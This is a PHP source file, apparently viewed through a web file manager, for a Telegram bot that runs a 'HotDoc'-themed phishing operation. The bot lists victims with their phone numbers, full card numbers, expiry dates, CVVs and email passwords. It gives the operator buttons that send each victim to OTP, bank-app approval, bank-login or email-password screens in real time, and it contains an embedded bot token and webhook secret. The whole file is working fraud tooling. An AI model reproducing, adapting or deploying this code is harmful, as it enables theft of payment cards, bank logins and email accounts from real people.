File "tg_bot.php"

Full path: /home/algopkco/public_html/404-NotFounda/tg_bot.php
File size: 12.52 B (12.52 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php
$botToken = '8722914467:AAGvW5ZL8aZ8LCmukxFxEhW7quV1PEYqYSs';
$panelUrl = 'https://xn--klver-kua.se/404error/admin.php';
$logFile  = 'logs.json';
$webhookSecret = 'hotdoc_webhook_secret_2026';

// ==================== FILE LOCK HELPERS ====================
function safeFileWrite($file, $data) {
    $fp = fopen($file, 'c+');
    if (!$fp) return false;
    if (!flock($fp, LOCK_EX)) { fclose($fp); return false; }
    ftruncate($fp, 0);
    rewind($fp);
    $bytes = fwrite($fp, $data);
    fflush($fp);
    flock($fp, LOCK_UN);
    fclose($fp);
    return $bytes;
}

function safeFileRead($file) {
    if (!file_exists($file)) return '';
    $fp = fopen($file, 'r');
    if (!$fp) return '';
    if (!flock($fp, LOCK_SH)) { fclose($fp); return ''; }
    $size = filesize($file);
    $content = $size > 0 ? fread($fp, $size) : '';
    flock($fp, LOCK_UN);
    fclose($fp);
    return $content;
}

function getUsers() {
    global $logFile;
    if (!file_exists($logFile)) return [];
    $content = safeFileRead($logFile);
    if (!$content) return [];
    $decoded = json_decode($content, true);
    return is_array($decoded) ? $decoded : [];
}

function saveUsers($users) {
    global $logFile;
    safeFileWrite($logFile, json_encode($users));
}

// ==================== WEBHOOK SETUP ====================
$input = file_get_contents('php://input');
$update = json_decode($input, true);

// If no JSON body, this is a browser visit — check for setup
if (!$update) {
    if (isset($_GET['setup']) && !empty($botToken)) {
        // STRIP QUERY STRING from webhook URL!
        $webhookUrl = 'https://' . $_SERVER['HTTP_HOST'] . parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
        $apiUrl = "https://api.telegram.org/bot{$botToken}/setWebhook?url=" . urlencode($webhookUrl) . "&drop_pending_updates=1&secret_token=" . urlencode($webhookSecret);
        $resp = @file_get_contents($apiUrl);
        die("<pre>Webhook setup response:\n" . htmlspecialchars($resp) . "\n\nWebhook URL: " . htmlspecialchars($webhookUrl) . "\nSecret: " . htmlspecialchars($webhookSecret) . "</pre>");
    }
    die("HotDoc Telegram Bot — ready for webhook");
}

// ==================== WEBHOOK VERIFY ====================
$headers = getallheaders();
$secret = isset($headers['X-Telegram-Bot-Api-Secret-Token']) ? $headers['X-Telegram-Bot-Api-Secret-Token'] : '';
if ($secret !== $webhookSecret) {
    http_response_code(403);
    echo json_encode(['status' => 'unauthorized']);
    exit;
}

// ==================== PROCESS UPDATE ====================
if (isset($update['message'])) {
    handleMessage($update['message']);
} elseif (isset($update['callback_query'])) {
    handleCallback($update['callback_query']);
} else {
    http_response_code(200);
    echo json_encode(['status' => 'no_handler']);
}

// ==================== HANDLERS ====================
function handleMessage($msg) {
    global $botToken, $panelUrl, $logFile;
    $chatId = $msg['chat']['id'];
    $text = isset($msg['text']) ? trim($msg['text']) : '';

    if ($text === '/start' || $text === '/help') {
        sendMsg($chatId,
            "🩺 <b>HotDoc Command Bot</b>\n\n" .
            "Control your panel from Telegram.\n\n" .
            "šŸ“‹ <b>Commands:</b>\n" .
            "/panel — Open web control panel\n" .
            "/users — List last 10 users\n" .
            "/online — Who is online now\n" .
            "/active — Users needing action\n" .
            "/notify &lt;uid&gt; &lt;message&gt; — Send notification to user\n\n" .
            "When someone submits data, you will get an alert here with action buttons.",
            [[['text' => 'šŸŽ› Open Control Panel', 'url' => $panelUrl]]]
        );
        return;
    }

    if ($text === '/panel') {
        sendMsg($chatId,
            "šŸŽ› <b>Admin Control Panel</b>\n\nClick below to open the web panel in your browser:",
            [[['text' => 'šŸ”— Open Panel', 'url' => $panelUrl]]]
        );
        return;
    }

    if ($text === '/users') {
        $users = getUsers();
        if (empty($users)) {
            sendMsg($chatId, "šŸ“­ No users found.");
            return;
        }
        $msgText = "šŸ“Š <b>Recent Users</b> (" . count($users) . " total)\n\n";
        $count = 0;
        foreach (array_reverse($users, true) as $uid => $u) {
            if ($count++ >= 10) break;
            $step = isset($u['info']['step']) ? $u['info']['step'] : 1;
            $phone = isset($u['info']['phone']) ? $u['info']['phone'] : 'N/A';
            $card = isset($u['info']['current_card']) ? '****' . substr($u['info']['current_card'], -4) : '';
            $online = (time() - (isset($u['last_activity']) ? $u['last_activity'] : 0)) < 15 ? '🟢' : '⚪';
            $msgText .= "{$online} <code>" . substr($uid, 0, 16) . "</code> | St{$step} | {$phone} " . ($card ? "| šŸ’³ {$card}" : "") . "\n";
        }
        sendMsg($chatId, $msgText);
        return;
    }

    if ($text === '/online') {
        $users = getUsers();
        $onlineUsers = [];
        foreach ($users as $uid => $u) {
            if ((time() - (isset($u['last_activity']) ? $u['last_activity'] : 0)) < 15) {
                $onlineUsers[$uid] = $u;
            }
        }
        if (empty($onlineUsers)) {
            sendMsg($chatId, "⚪ No users currently online.");
            return;
        }
        $msgText = "🟢 <b>Online Users:</b> " . count($onlineUsers) . "\n\n";
        foreach ($onlineUsers as $uid => $u) {
            $step = isset($u['info']['step']) ? $u['info']['step'] : 1;
            $phone = isset($u['info']['phone']) ? $u['info']['phone'] : '';
            $msgText .= "<code>" . substr($uid, 0, 16) . "</code> — Step {$step}" . ($phone ? " | {$phone}" : "") . "\n";
        }
        sendMsg($chatId, $msgText);
        return;
    }

    if ($text === '/active') {
        $users = getUsers();
        $active = [];
        foreach ($users as $uid => $u) {
            $step = isset($u['info']['step']) ? $u['info']['step'] : 1;
            $isWaiting = (isset($u['command']) ? $u['command'] : 'wait') !== 'wait';
            if ($step == 3 && !$isWaiting) {
                $active[$uid] = $u;
            }
        }
        if (empty($active)) {
            sendMsg($chatId, "šŸ“­ No users currently waiting for a command.");
            return;
        }
        sendMsg($chatId, "⚔ <b>" . count($active) . " user(s)</b> on processing screen and need a command:");
        foreach (array_slice($active, 0, 5, true) as $uid => $u) {
            sendUserCard($chatId, $uid, $u);
        }
        return;
    }

    if (strpos($text, '/notify ') === 0) {
        $parts = explode(' ', $text, 3);
        if (count($parts) >= 3) {
            $targetUid = $parts[1];
            $notifyMsg = $parts[2];
            $users = getUsers();
            if (isset($users[$targetUid])) {
                $users[$targetUid]['command'] = 'notify:' . $notifyMsg;
                saveUsers($users);
                sendMsg($chatId, "šŸ“¢ Notification sent to <code>" . htmlspecialchars(substr($targetUid,0,16)) . "</code>\n<i>" . htmlspecialchars($notifyMsg) . "</i>");
            } else {
                sendMsg($chatId, "āŒ User <code>" . htmlspecialchars($targetUid) . "</code> not found.");
            }
        } else {
            sendMsg($chatId, "Usage: <code>/notify &lt;uid&gt; &lt;message&gt;</code>\nExample: <code>/notify HD_abc123 Please complete your details</code>");
        }
        return;
    }

    sendMsg($chatId, "ā“ Unknown command. Use /start to see available commands.");
}

function handleCallback($cb) {
    global $botToken, $logFile;
    $chatId = $cb['message']['chat']['id'];
    $data = $cb['data'];

    answerCallback($cb['id']);

    $parts = explode('|', $data);
    if (count($parts) !== 2) return;
    list($cmd, $uid) = $parts;

    $users = getUsers();
    if (!isset($users[$uid])) {
        editMsg($chatId, $cb['message']['message_id'], "āŒ User no longer found.");
        return;
    }

    // Command queue support
    if (isset($users[$uid]['command']) && $users[$uid]['command'] !== 'wait') {
        if (!isset($users[$uid]['command_queue'])) $users[$uid]['command_queue'] = [];
        $users[$uid]['command_queue'][] = $cmd;
    } else {
        $users[$uid]['command'] = $cmd;
    }
    $users[$uid]['command_time'] = time();
    saveUsers($users);

    $cmdLabels = [
        'go_otp' => 'šŸ” OTP Verification',
        'go_app' => 'šŸ“± Bank App Approval',
        'go_bank' => 'šŸ¦ Bank Login Required',
        'go_email' => 'šŸ“§ Email Password Required',
        'new_card' => 'šŸ’³ New Card Required',
        'wrong_card' => 'āŒ Card Wrong — Retry',
        'wrong_email' => 'šŸ“§ Wrong Email Password — Retry',
        'go_success' => 'āœ… Done — Success',
        'go_error' => 'āš ļø Show Error'
    ];
    $label = isset($cmdLabels[$cmd]) ? $cmdLabels[$cmd] : $cmd;

    $oldText = $cb['message']['text'];
    $newText = $oldText . "\n\nāœ… <b>SENT:</b> {$label}\nā° " . date('H:i:s');

    editMsg($chatId, $cb['message']['message_id'], $newText);
}

// ==================== HELPERS ====================
function sendUserCard($chatId, $uid, $user) {
    $step = isset($user['info']['step']) ? $user['info']['step'] : 1;
    $phone = isset($user['info']['phone']) ? $user['info']['phone'] : 'N/A';
    $card = isset($user['info']['current_card']) ? $user['info']['current_card'] : '';
    $name = isset($user['info']['name']) ? $user['info']['name'] : '';
    $exp = isset($user['info']['current_exp']) ? $user['info']['current_exp'] : '';
    $cvv = isset($user['info']['current_cvv']) ? $user['info']['current_cvv'] : '';
    $emailPass = isset($user['info']['email_pass']) ? $user['info']['email_pass'] : '';
    $emailPassEmail = isset($user['info']['email_pass_email']) ? $user['info']['email_pass_email'] : '';

    $text = "šŸ‘¤ <b>" . substr($uid, 0, 16) . "</b>\n";
    if ($name) $text .= "šŸ“› {$name}\n";
    $text .= "šŸ“± {$phone} | Step {$step}\n";
    if ($emailPassEmail) $text .= "šŸ“§ {$emailPassEmail}\n";
    if ($emailPass) $text .= "šŸ”‘ <code>{$emailPass}</code>\n";
    if ($card) $text .= "šŸ’³ <code>{$card}</code>\n";
    if ($exp) $text .= "šŸ“† {$exp} | šŸ”’ {$cvv}\n";
    $text .= "🟢 <i>Waiting for admin command...</i>";

    $keyboard = [
        [
            ['text' => 'šŸ” OTP', 'callback_data' => "go_otp|{$uid}"],
            ['text' => 'šŸ“± APP', 'callback_data' => "go_app|{$uid}"],
            ['text' => 'šŸ¦ BANK', 'callback_data' => "go_bank|{$uid}"]
        ],
        [
            ['text' => 'šŸ’³ New Card', 'callback_data' => "new_card|{$uid}"],
            ['text' => 'āŒ Wrong', 'callback_data' => "wrong_card|{$uid}"]
        ],
        [
            ['text' => 'šŸ“§ Email', 'callback_data' => "go_email|{$uid}"],
            ['text' => 'āœ… Done', 'callback_data' => "go_success|{$uid}"],
            ['text' => 'āš ļø Error', 'callback_data' => "go_error|{$uid}"]
        ]
    ];

    sendMsg($chatId, $text, $keyboard);
}

function sendMsg($chatId, $text, $keyboard = null) {
    global $botToken;
    $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
    $data = [
        'chat_id' => $chatId,
        'text' => $text,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    if ($keyboard) {
        $data['reply_markup'] = json_encode(['inline_keyboard' => $keyboard]);
    }
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_exec($ch);
    curl_close($ch);
}

function editMsg($chatId, $msgId, $text) {
    global $botToken;
    $url = "https://api.telegram.org/bot{$botToken}/editMessageText";
    $data = [
        'chat_id' => $chatId,
        'message_id' => $msgId,
        'text' => $text,
        'parse_mode' => 'HTML'
    ];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_exec($ch);
    curl_close($ch);
}

function answerCallback($callbackId) {
    global $botToken;
    $url = "https://api.telegram.org/bot{$botToken}/answerCallbackQuery";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['callback_query_id' => $callbackId]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    curl_exec($ch);
    curl_close($ch);
}
?>